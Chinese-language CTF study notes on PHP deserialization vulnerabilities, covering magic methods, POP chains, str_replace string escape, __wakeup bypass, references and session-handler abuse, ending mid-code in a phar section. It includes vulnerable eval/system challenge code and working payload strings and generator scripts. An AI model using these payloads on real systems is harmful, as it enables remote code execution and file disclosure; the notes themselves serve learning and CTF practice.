反序列化漏洞

成因:反序列化unserialize()中接收的字符串可控,通过更改字符串得到想要的对象

php面向对象基础知识

php中类和对象的写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Test{
var $name;//不推荐用var修饰,可以用public,private,protected修饰(与java一致)
var $id;

function __construct($name = null,$id = null){//构造函数
$this->name = $name;
$this->id = $id;
}
}

class Test{
var $name;
var $id;

function __construct($name = null,$id = null){
$this->name = $name;
$this->id = $id;
}
}

$a = new Test();
$a->name='senpai';
$a->id=114514;
print_r($a);
/*print_r()打印对象实例的结果就是:>
Test Object
(
[name] => senpai
[id] => 114514
)
[Finished in 852ms]
*/

php中构造函数不支持重载,如果想实现无参构造器和有参构造器都存在,要在参数中设置默认值;php访问内部成员用的是$this->成员变量名

序列化

image-20250127151543708

可以进行序列化的内容:

对象,数组,标量类型(整形,浮点,布尔,字符串),包含资源的数组和对象,null

不能序列化的内容:

类,资源(比如数据库连接),未定义类型

image-20250127152858600

字符串长度用于确定头尾双引号位置,防止出现 "benben"adada"这种中间带有双引号报错的情况

image-20250127160337212

a:参数数量:{i:索引;对应的序列化内容;}

image-20250127160558701

image-20250127162928408

O:类名长度:"类名":变量数:{s:变量名长度:"变量名";变量值的序列化内容;}

private属性的成员变量序列化后,变量名前会加上0x00类名0x00(0x00是不可见字符,url编码后就是%00)

protected属性的成员变量序列化后,变量名前会加上0x00*0x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Test{
public $name;
private $id;
}
$a = 1;
$b = 'hello world!';
$c = new Test();
$d = [1,2,3,4];
$e = 1.14514;
$f = null;

echo serialize($a)."\n";
echo serialize($b)."\n";
echo serialize($c)."\n";
echo serialize($d)."\n";
echo serialize($e)."\n";
echo serialize($f);
?>
/*
i:1;
s:12:"hello world!";
O:4:"Test":2:{s:4:"name";N;s:8:"<0x00>Test<0x00>id";N;}
a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;}
d:1.14514;
N;
[Finished in 1.1s]
*/

反序列化

反序列化就是将字符串变成对象 unserialize(string $str)

image-20250127202854791

image-20250127202928917

例题

image-20250127213806615

get方法传进来的变量benben就是序列化字符串

image-20250127215108215

1
2
/*自动把get请求收到的参数拼接到序列化字符串中*/
$get = 'O:4:"test":1:{s:1:"a";s:'.strlen($_GET['benben']).':"'.$_GET['benben'].'";}';

构造url,用?传递get请求的参数(这里我让他弹窗)

?benben=O:4:"test":1:{s:1:"a";s:36:"echo "<script>alert(123);</script>";";}

使用var_dump()打印对象细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Test{
public $id;
private $name;
protected $sex;

public function __construct($id = null,$name = null,$sex = null){
$this->id = $id;
$this->name = $name;
$this->sex = $sex;
}
}

$a = new Test(123,'淳平','男');
var_dump($a);
?>
/*
object(Test)#1 (3) {
["id"]=>
int(123)
["name":"Test":private]=>
string(6) "淳平"
["sex":protected]=>
string(3) "男"
}
[Finished in 933ms]
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class Test{
public $id;
private $name;
protected $sex;

public function __construct($id = null,$name = null,$sex = null){
$this->id = $id;
$this->name = $name;
$this->sex = $sex;
}
}

$a = new Test(123,'淳平','男');
echo serialize($a)."\n";
$str = 'O:4:"Test":3:{s:2:"id";i:123;s:10:"%00Test%00name";s:6:"淳平";s:6:"%00*%00sex";s:3:"男";}';//复制echo内容
$str = urldecode($str);
var_dump(unserialize($str));
?>

/*
object(Test)#2 (3) {
["id"]=>
int(123)
["name":"Test":private]=>
string(6) "淳平"
["sex":protected]=>
string(3) "男"
}
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**/
<?php
class Test{
public $id;
private $name;
protected $sex;

public function __construct($id = null,$name = null,$sex = null){
$this->id = $id;
$this->name = $name;
$this->sex = $sex;
}
}

$a = new Test(123,'淳平','男');
echo serialize($a)."\n";
/*反序列化生成对象中成员变量的值,由提供给反序列化的序列化字符串中的值决定*/
$str = 'O:4:"Test":3:{s:2:"id";i:123;s:10:"%00Test%00name";s:6:"德川";s:6:"%00*%00sex";s:3:"男";}';
$str = urldecode($str);
var_dump(unserialize($str));
?>
/*
O:4:"Test":3:{s:2:"id";i:123;s:10:"�Test�name";s:6:"淳平";s:6:"�*�sex";s:3:"男";}
object(Test)#2 (3) {
["id"]=>
int(123)
["name":"Test":private]=>
string(6) "德川" 输出德川而不是最开始的淳平,因为更改了序列化字符串
["sex":protected]=>
string(3) "男"
}
*/

魔术方法

魔术方法:在特定条件下自动触发的方法

触发前提:魔术方法所在的类或对象被调用

image-20250128111628642

魔术方法必须掌握触发时机,参数,返回值

image-20250525232507387

常见魔术方法

image-20250128111915497

构造与析构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*构造
触发时机:当new对象时自动调用(构造器)
功能:初始化对象
参数:非必要
返回值:无
*/

function __construct(args...);
/*析构
触发时机:对象的所有引用被删除或对象被显式销毁时执行,反序列化之后执行,代码运行结束执行
功能:
参数:无
返回值:无
*/
function __destruct();

<?php
class Test{
public $name;
public function __construct(){
echo '构造函数'."\n";
}

public function __destruct(){
echo '析构函数'."\n";
}
}

$a = new Test();//触发__construct();
$str = serialize($a);
$str1 = 'O:4:"Test":1:{s:4:"name";N;}';
$f = unserialize($str1); //触发__destruct();
?>//触发__destruct();

/*
结果
构造函数
析构函数
析构函数
*/

unserialize()触发析构函数是因为,反序列化是将原先实例销毁,再根据序列化字符串创建新对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test{
public $name;
public function __construct($name = null){
$this->name = $name;
echo '构造函数'."\n";
}

public function __destruct(){
echo '析构函数'."\n";
}
}

$a = new Test('淳平');
$str = serialize($a);
$f = unserialize($str);//$a被销毁了
echo $a->name;//这里会警告$a为null
?>

漏洞例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
var $cmd = "echo 'dazhuang666!!';";
public function __destruct()
{
eval($this->cmd);//漏洞在这
}
}
$ser = $_GET["benben"];
unserialize($ser);//会在这调用__destruct()

?>

需要构造序列化字符串,将$cmd改成要执行的php命令

1
2
/*构造字符串*/
$str = 'O:4:"User":1:{s:3:"cmd";s:20:"echo "Hello World!";";}';

构造url,拼接参数?benben=O:4:"User":1:{s:3:"cmd";s:20:"echo "Hello World!";";}到localhost/ser后

sleep

先进行__sleep()再serialize()

image-20250128144606071

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function __sleep();
/*返回要序列化的属性名的数组
触发时机:执行serialize()之前
功能:返回需要被序列化的成员
参数:无
返回值:包含需要被序列化的成员属性名的数组
*/

<?php
class User{
public $name;
public $id;
private $password;

public function __construct($name = null,$id = null,$password = null){
$this->name = $name;
$this->id = $id;
$this->password = $password;
}

public function __sleep(){
return array('name','id');//返回包含属性名的数组
}

}
$a = new User('淳平',114514,'114514');

echo serialize($a);//结果中将不会有password
-- - - - - -- - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
/*O:4:"User":2:{s:4:"name";s:6:"淳平";s:2:"id";i:114514;}*/

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep()
{
system($this->username);//漏洞
}
}
$cmd = $_GET['benben'];
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>

因为__sleep()在serialize()前执行,$cmd对应的就是$username,所以我们只需要把get请求的参数换成任意的命令就行

wakeup

image-20250128152746018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function __wakeup();
/*
触发时机:unserialize()之前
功能:
参数:
返回值:
*/

<?php
class User{
public $name;
public $id;
private $password;

public function __construct($name = null,$id = null,$password = null){
$this->name = $name;
$this->id = $id;
$this->password = $password;
}

public function __sleep(){
return array('name','id');
}

public function __wakeup(){
$this->password = '114514';//反序列化前调用,给password赋值
}
}
$str = 'O:4:"User":2:{s:4:"name";s:6:"淳平";s:2:"id";i:114514;}';//没有password
var_dump(unserialize($str));//password有值了
?>
/*
object(User)#1 (3) {
["name"]=>
string(6) "淳平"
["id"]=>
int(114514)
["password":"User":private]=>
string(6) "114514"
}
*/

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);//漏洞
}
}
$user_ser = $_GET['benben'];//需要构造一个含有username的序列化字符串
unserialize($user_ser);
?>

思路:构造get参数为一个含有username的序列化字符串,username值为任意命令 payload: ?benben=O:4:"User":1:{s:8:"username";s:20:"echo "hello world!";";}

toString和invoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function __toString();
/*
触发时机:把对象当作字符串调用;调用对象要使用var_dump()或print_r(),使用echo或print就会调用__toString()
功能:
参数:
返回值:字符串
*/
function __invoke();
/*
触发时机:把对象当作方法(函数)调用
功能:
参数:
返回值:字符串
*/

<?php
class User{
public $id;
public $username;
private $password;

public function __construct($id = null,$username = null,$password = null){
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __tostring(){
return '这不是字符串!';
}

public function __invoke(){
return '这不是方法!!';
}
}
$a = new User(1,'a','c');
echo $a;//输出这不是字符串
echo $a();//输出这不是方法
?>

错误调用相关魔术方法

call

image-20250128170411067

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function __call($arg1,$arg2);
/*
触发时机:调用不存在的成员方法
功能:
参数:$arg1:方法名 $arg2:参数值的数组
返回值:无
*/
<?php
class User{
public $id;
public $username;
private $password;

public function __construct($id = null,$username = null,$password = null){
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __call($arg1,$arg2){
echo $arg1."\n";
for($i = 0;$i < count($arg2); ++$i){//把传进去的所有参数打印出来
echo $arg2[$i]."\n";
}
}
}

$a = new User();

$a->test('a','b','c');//会调用call()
?>
/*
test
a
b
c
*/

callStatic

image-20250128171410835

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __callStatic($arg1,$arg2);
/*
php中调用成员常量或静态调用: ::
$arg1:方法名 $arg2:参数值的数组
*/

<?php
class User{
public $id;
public $username;
private $password;

public function __construct($id = null,$username = null,$password = null){
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public static function __callStatic($arg1,$arg2){
echo $arg1."\n";
for($i = 0;$i < count($arg2); ++$i){
echo $arg2[$i]."\n";
}
}
}

$a = new User();

$a::test('a','b','c');

?>

get

image-20250128172324983

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class User
{
public $id;
public $username;
private $password;

public function __construct($id = null, $username = null, $password = null)
{
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __get($arg1)
{
echo $arg1;
}
}

$a = new User();

$a->var2;
?>

set

image-20250128173310548

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
class User
{
public $id;
public $username;
private $password;

public function __construct($id = null, $username = null, $password = null)
{
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __set($arg1,$arg2){
echo $arg1.$arg2;
}
}

$a = new User();

$a->var2 = '111';//会输出var2111
?>

isset

image-20250128173728782

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*arg1就是不可访问变量的属性名*/
<?php
error_reporting(0);
class User
{
public $id;
public $username;
private $password;

public function __construct($id = null, $username = null, $password = null)
{
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __isset($arg1){
echo $arg1;
}
}

$a = new User();
isset($a->password);//私有成员不可访问
empty($a->password);
?>

unset

image-20250128174257603

clone

image-20250128174410383

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
class User
{
public $id;
public $username;
private $password;

public function __construct($id = null, $username = null, $password = null)
{
$this->id = $id;
$this->username = $username;
$this->password = $password;
}

public function __clone(){
echo 'cloned!';
}
}

$a = new User();
$b = clone($a);//输出cloned!
?>

总结表

image-20250128174640191

image-20250128174654947

pop链

前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);//<-漏洞
}
}
unserialize($_GET['test']);
?>

反推法

1
2
3
4
5
6
1.先找漏洞在哪,eval()函数处有漏洞
2.eval调用evil的$test2
3.但是单单unserialize()并不会调用evil的action()
4.unserialize()会调用__destruct()
5.但是__destruct()中的$test是normal的实例
6.要想办法构造序列化字符串使index中的$test变成evil的实例

构造序列化字符串

方法1:直接改代码加注释,在类里赋值,让php帮忙跑出想要的序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// highlight_file(__FILE__);
error_reporting(0);
class index
{
private $test;
public function __construct()
{
$this->test = new evil();
}
// public function __destruct()
// {
// $this->test->action();
// }
}
// class normal
// {
// public function action()
// {
// echo "please attack me";
// }
// }
class evil
{
var $test2 = 'echo "Hello World!";';
// public function action()
// {
// eval($this->test2);
// }
}
// unserialize($_GET['test']);
echo urlencode(serialize(new index()));
?>

方法2:在类外进行赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class index
{
public $test;//偷偷改成public,如果是private就只能用第一种方式
}
class evil
{
var $test2;
}
$a = new evil();
$a->test2 = 'system("ls")';
$b = new index();
$b->test = $a;
echo serialize($b);
?>

魔术方法触发规则

触发前提:魔术方法所在的类或对象被调用

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;//如果要触发toString(),这里的source就得是sec的对象
}
}
class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>

目标:显示tostring is here!!

image-20250129135501919

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//生成序列化字符串的url编码
<?php
error_reporting(0);
class fast
{
public $source;
}
class sec
{
var $benben;
}
$a = new fast();
$b = new sec();
$a->source = $b;

echo urlencode(serialize($a));
//输出O%3A4%3A%22fast%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22sec%22%3A1%3A%7Bs%3A6%3A%22benben%22%3BN%3B%7D%7D
?>

构造url,?benben=O%3A4%3A%22fast%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22sec%22%3A1%3A%7Bs%3A6%3A%22benben%22%3BN%3B%7D%7D

先执行wakeup()再执行toString()

POP链构造与POC编写

image-20250129142111093

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;//1.目的要输出$flag
}
public function __invoke(){//2.触发__invoke()调用append()并把$var设置成flag.php
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;//4.如果把$str赋值为Test,Test中没有source成员,就会触发__get()
}
public function __wakeup(){//6.最终unserialize()触发__wakeup()
echo $this->source;//5.触发toString(),把自己作为变量赋值给$source
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();//3.如果把$p变成Modifier,调用__get()就会触发Modifier的__invoke()
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

第一步:触发invoke,使$var = 'flag.php'

第二步:触发get,给$p赋值为对象Modifier

第三步:触发toString,给$str赋值为对象Test

第四步:触发wakeup,给source赋值为自己的对象

因为wakeup在Show中,所以我们构造序列化字符串中传递的参数就是Show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//flag is in flag.php
// highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var = 'flag.php';//私有属性就不能在外赋值了
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a = new Modifier();
$b = new Show();
$c = new Test();
$b->source = $b;
$b->str = $c;
$c->p = $a;

echo urlencode(serialize($b));
?>

把url编码后的序列化字符串作为参数传入?pop=

得到flag:`` ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

image-20250129150018121

字符串逃逸

利用str_replace()

1
2
3
4
5
6
7
/**
* @param array|string $search 要被替换的
* @param array|string $replace 要替换的
* @param array|string $subject 替换的对象
* @return void
*/
function str_replace(array|string $search, array|string $replace, array|string $subject);

image-20250129204035314

反序列化时,属性长度不对,成员数量不对都无法进行序列化,会显示bool(false)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
class Test{
public $a;
public $b;
}

$a=new Test();
// echo serialize($a);
// $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}';
$ser_str = 'O:4:"Test":1:{s:1:"a";N;s:1:"b";N;}';//成员数量不对
var_dump(unserialize($ser_str));
?>
<!--bool(false)-->

<?php
error_reporting(0);
class Test{
public $a;
public $b;
}

$a=new Test();
// echo serialize($a);
// $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}';
$ser_str = 'O:4:"Test":2:{s:1111:"a";N;s:1:"b";N;}';//长度不对
var_dump(unserialize($ser_str));
?>
<!--bool(false)-->

如果反序列化时,忽略了某个存在的变量,序列化字符串中加上新的变量,最终反序列化结果会包含被忽略的变量和序列化字符串中的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
class Test{
public $a;
public $b;
}

$a=new Test();
// echo serialize($a);
// $ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}';
$ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"c";N;}';
var_dump(unserialize($ser_str));
?>
<!--
object(Test)#2 (3) {
["a"]=>
NULL
["b"]=>
NULL
["c"]=>
NULL
}
>

为什么长度一定不能错?

image-20250129210458056

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*反序列化结束符为;}*/
<?php
error_reporting(0);
class Test
{
public $a;
public $b;
public $c = 'c';
}

$a = new Test();
$ser_str = 'O:4:"Test":2:{s:1:"a";N;s:1:"b";N;}s:1:"c";"ccc";}';
var_dump(unserialize($ser_str));
/*
object(Test)#2 (3) {
["a"]=>
NULL
["b"]=>
NULL
["c"]=>
string(1) "c"
}
*/
?>

减少

image-20250129211715285

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $a;
public $b = 'abcsystem';
public $c;
}
$str = serialize(new Test());
/*$str = 'O:4:"Test":3:{s:1:"a";N;s:1:"b";s:9:"abcsystem";s:1:"c";N;}'*/
$str = str_replace('system',"",$str);
/*$str = 'O:4:"Test":3:{s:1:"a";N;s:1:"b";s:9:*/"abc";s:1:""/*"c";N;}'*/ //没注释的地方是会被当成$b的值的地方
var_dump(unserialize($str));
?>

image-20250129213100025

image-20250129213948632

就是构造成员变量的值,在str_replace()的时候,能刚好吃掉不想要的,能够构造我们的命令

先把我们要执行的命令写好,这样便于构造长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//eg
<?php
class Test{
public $a = 'abcsystem';
public $b = '构造的表达式';
}
$str = serialize(new Test());
echo "$str\n";
'O:4:"Test":2:{s:1:"a";s:9:"abcsystem";s:1:"b";s:?:"构造的表达式";}';//要吃到构造的表达式所处的第一个"
?>
/*19个字符要3个system*/
<?php
class Test
{
public $a = 'abcsystemsystemsystem';
public $b = '12";s:1:"b";s:20:"echo "hello world!";";}';//用;}直接截断
}
$str = serialize(new Test());
echo "$str\n";
'O:4:"Test":2:{s:1:"a";s:21:"abcsystemsystemsystem";s:1:"b";s:37:"s:1:"b";s:20:"echo "hello world!";";}";}';
//截到构造的表达式前只有19个字符,还要再在构造的表达式前补上2个字符(21 - 19 = 2)和";
$str = str_replace('system','',$str);
$str = 'O:4:"Test":2:{s:1:"a";s:21:"abc";s:1:"b";s:37:"12";s:1:"b";s:20:"echo "hello world!";";}";}';
var_dump(unserialize($str));
?>
/*
object(Test)#1 (2) {
["a"]=>
string(21) "abc";s:1:"b";s:37:"12"
["b"]=>
string(20) "echo "hello world!";"
}
*/

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hk", $name);
return $name;
}
class test
{
var $user;
var $pass;
var $vip = false;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}
}
$param = $_GET['user'];
$pass = $_GET['pass'];
$param = serialize(new test($param, $pass));
$profile = unserialize(filter($param));

if ($profile->vip) {
echo file_get_contents("flag.php");
}
?>

思路,三个属性,构造第一个属性,使它能吃掉剩下属性的值,在第二个属性中构造表达式使vip=true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test
{
var $user = "php";
var $pass = "";
var $vip;
}
echo serialize(new test());
?>
//O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:0:"";s:3:"vip";N;}
/*从user值吃到pass值的前一个",需要18个字符(除去最开始的php),php经过filter变成hk减少一个字符,一共需要18个php才能正确吃完
让$user = 18个php
让$pass = ";s:4:"pass";N;s:3:"vip";b:1;}
构造url,得到flag
*/

image-20250130170035120

增多

image-20250130142716490

用str_replace(),替换成一个更长的字符串,把多余的字符吐出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $a = 'a';
public $b = 'b';
}
$a = new Test();
$str = serialize($a);
//'O:4:"Test":2:{s:1:"a";s:1:"a";s:1:"b";s:1:"b";}';
$str = str_replace('a','aaa',$str);
// echo "$str\n";
/*'O:4:"Test":2:{s:1:"a*/aa/*";s:1:"a";s:1:"b";s:1:"b";}';*/ //多出来的aa就是吐出的多余代码
?>

思路:把吐出来的多余代码构造成功能性代码

构造的字符串:";s:1:"b":s:?:"";} 用;}结束反序列化,不用管原功能性代码

构造的字符串长度为x,将ls替换成pwd会吐一个字符出来,需要x个pwd,这样就能吐x个字符出来,与前面长度正确对应,功能性代码被正确吐出

image-20250130144649492

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Test{
public $a = 'ls';
public $b = 'b';
}
$a = new Test();
echo serialize($a)."\n";
?>
/*
想构造一个显示hello world,构造字符串";s:1:"b";s:20:"echo "hello world!";";} 长度为39
将ls用pwd替换,吐出一个字符,所以我们需要39个ls,替换后才能吐出39个字符,让功能性代码正确吐出
*/

<?php
class Test{
public $a = 'lslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslslsls';//39个ls
public $b = 'b';
}
$a = new Test();
$hacker = '";s:1:"b";s:20:"echo "hello world!";";}';
$a->a = $a->a.$hacker;
$str = serialize($a);
echo "$str\n";
$str = str_replace('ls','pwd',$str);
echo "$str\n";
// 'O:4:"Test":2:{s:1:"a";s:114:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:1:"b";s:20:"echo "hello world!";";";s:1:"b";s:1:"b";}';
var_dump(unserialize($str));
?>

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
// highlight_file(__FILE__);
error_reporting(0);
function filter($name)
{
$safe = array("flag", "php");
$name = str_replace($safe, "hack", $name);
return $name;
}
class test
{
var $user;
var $pass = 'daydream';
function __construct($user)
{
$this->user = $user;
}
}
$param = $_GET['param'];
$param = serialize(new test($param));
$profile = unserialize(filter($param));

if ($profile->pass == 'escaping') {
echo file_get_contents("flag.php");
}
?>

目标:判断pass是否为escaping;用filter将php换成hack达到字符串增多

目标逃逸代码:";s:4:"pass";s:8:"escaping";},29个字符,所以需要29个php

构造参数?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pass%22%3Bs%3A8%3A%22escaping%22%3B%7D

得到flag

image-20250130161400401

wakeup魔术方法绕过

image-20250130195342613

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php
error_reporting(0);
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

分析:要绕过__wakeup(),O:后面不能跟数字以绕过正则表达式

1
2
3
4
5
6
7
8
<?php
class secret
{
var $file = 'flag.php';
}
echo serialize(new secret())."\n";//获取原序列化字符串
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');//在数字前加上+绕过正则表达式,把属性数改大绕过wakeup
?>

拿到flag

image-20250130201142193

引用

php中引用为 &

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $a;
public $b;
}
$test = new Test();
$test->a = &$test->b; // a是b的引用
echo serialize($test)."\n";/*O:4:"Test":2:{s:1:"a";N;s:1:"b";R:2;}*/
?>

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

image-20250130201920662

这题中传入引用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
?>

image-20250130203657364

session反序列化漏洞

一个页面写入session,一个页面读出session

image-20250131192743028

image-20250131192927457

image-20250131193335888

image-20250131193700202

image-20250131193923676

例题

no.1

1
2
3
4
5
6
7
8
//写入session
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//读出session
<?php
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);//漏洞所在
}
}
?>

以php_serialize方式写入,以php方式读出,php方式键名|序列化字符串,所以构造参数时要加|

构造参数 ?a=|O:1:"D":1:{s:1:"a";s:20:"echo "hello world!";";}

no.2

1
2
3
4
5
6
7
8
//写入session
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//读出session
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

分析:需要用到引用,以php_serialize方式写入session,php方式读出

构造参数?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;};

phar反序列化漏洞

image-20250131202912176

image-20250131203108136

重点关注manifest这个字段

manifest字段格式

image-20250131203407383

24byte后是序列化的字符串

漏洞原理

image-20250131205146089

例题

no.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
